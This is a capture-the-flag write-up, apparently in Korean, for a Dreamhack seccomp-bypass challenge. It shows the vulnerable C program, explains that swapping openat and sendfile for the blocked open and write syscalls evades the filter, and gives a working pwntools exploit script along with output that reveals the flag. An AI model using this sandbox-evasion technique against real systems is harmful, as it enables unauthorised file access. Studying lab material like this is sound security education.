// Name: bypass_syscall.c
// Compile: gcc -o bypass_syscall bypass_syscall.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
사용자로 부터 쉘 코드를 입력 받고 실행을 시킵니다.
open, execve, execveat, write 시스템 콜을 사용할 수 없습니다.
open 대신 openat을 write 대신 sendfile을 사용하면 될거 같습니다.
// openat syscall
openat(int dfd, const char *filename, int flags, int mode)
# openat(0, "/home/bypass_syscall/flag", 0, 0)
shellcraft(0, "/home/bypass_syscall/flag", 0, 0)
// sendfile syscall
sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
# sendfile(1, 'rax', 0, 50)
shellcraft(1, 'rax', 0, 50)
from pwn import *
context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 8251)
shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag", 0, 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 50)
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
kali@kali ~/wargame/dreamhack/Bypass_SECCOMP1 python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 8251: Done
[*] Switching to interactive mode
shellcode: DH{bfd9d65167c7dfabba82e6870bb4a77e}